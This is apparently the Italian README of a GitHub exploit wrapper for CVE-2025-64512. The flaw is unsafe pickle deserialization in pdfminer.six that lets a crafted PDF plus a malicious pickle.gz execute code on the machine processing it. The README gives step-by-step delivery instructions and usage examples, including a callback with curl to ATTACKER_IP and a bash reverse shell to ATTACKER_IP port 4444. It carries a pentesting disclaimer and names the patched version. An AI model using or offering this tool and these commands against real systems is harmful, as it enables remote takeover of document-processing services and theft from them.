
Wrapper CLI per il PoC di CVE-2025-64512 che genera PDF malevoli e payload pickle.gz per sfruttare la deserializzazione non sicura in pdfminer.six, abilitando l'esecuzione di codice remoto tramite l'elaborazione di PDF appositamente modificati.
⚠️ Avvertenza: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'uso non autorizzato è illegale.
pdfminer.six è una libreria Python ampiamente utilizzata per estrarre testo e metadati da file PDF, spesso integrata in pipeline di elaborazione documenti, strumenti CLI e flussi di lavoro di intelligenza artificiale/ingestione dati. Le versioni affette caricano file di cache CMap (mappe di caratteri) per il supporto dei font CJK utilizzando il modulo pickle di Python, senza verificare che il percorso risolto rimanga all'interno della directory della cache prevista.
Un PDF appositamente modificato può fare riferimento a un percorso controllato dall'attaccante per questa ricerca CMap. Se un attaccante riesce anche a posizionare un file .pickle.gz malevolo in quel percorso risolto (ad esempio tramite una funzionalità di caricamento file collocata), l'elaborazione del PDF attiva pickle.loads() su dati controllati dall'attaccante, provocando esecuzione arbitraria di codice. Questo meccanismo esatto — inclusa la struttura PDF del PoC — è stato documentato da mtolley nell'avviso ufficiale.
Questo repository contiene un piccolo wrapper CLI basato sul proof-of-concept ufficiale pubblicato nell'Advisory di Sicurezza GitHub per CVE-2025-64512. Non introduce alcuna nuova tecnica di sfruttamento — il template PDF malevolo è tratto quasi integralmente dall'avviso stesso; questo script parametrizza solo il percorso di destinazione, il comando da eseguire e i nomi dei file di output, per rendere il PoC più facile da riutilizzare.
| Campo | Valore |
|---|---|
| CVE | CVE-2025-64512 |
| Affetto | pdfminer.six ≤ 20250506 (anche markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| Tipo | Deserializzazione non sicura (CWE-502) |
| Privilegi | Nessuno (non autenticato, se l'elaborazione PDF è esposta) |
| Impatto | Esecuzione arbitraria di codice |
| Patch | pdfminer.six 20251107+ |
CMapDB._load_data() in pdfminer.six risolve un nome CMap — preso dall'entry /Encoding di un font nel PDF — in un percorso file, e lo carica con pickle.loads() se termina in .pickle.gz. La funzione non verifica che il percorso risolto rimanga all'interno della directory cmap/ di pdfminer.
/Encoding faccia riferimento a un percorso scelto dall'attaccante (codificato in URL, / come #2F)..pickle.gz malevolo presente in <quel_percorso>.pickle.gz nel filesystem di destinazione al momento dell'elaborazione del PDF.Entrambi i file possono solitamente essere consegnati tramite lo stesso canale di upload che viene poi elaborato da pdfminer.six (ad esempio una pipeline di ingestione documenti), purché i percorsi su disco risultanti siano prevedibili o scopribili.
1. Generare un payload pickle malevolo (esegue un comando al momento dell'unpickling)
2. Comprimerlo come <nome>.pickle.gz
3. Generare un PDF "trigger" il cui font /Encoding punti al percorso completo
nel filesystem di destinazione di quel .pickle.gz (senza l'estensione)
4. Consegnare entrambi i file al target in modo che finiscano nei percorsi previsti
5. Attendere / attivare l'elaborazione del PDF trigger da parte di pdfminer.six
(o di qualsiasi strumento basato su di esso, es. pdf2txt.py)
6. pickle.loads() esegue il payload -> RCE
gzip, pickle, argparse)Non sono necessarie dipendenze di terze parti per generare il payload. Il target deve avere una versione vulnerabile di pdfminer.six (o un progetto che ne dipende) che elabori effettivamente il PDF caricato.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
Questo produce:
payload.pickle.gz — carica questo per primo, in .../uploads/payload.pickle.gztrigger.pdf — carica questo per secondo; una volta che il target lo elabora con pdfminer.six, il comando viene eseguitopython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz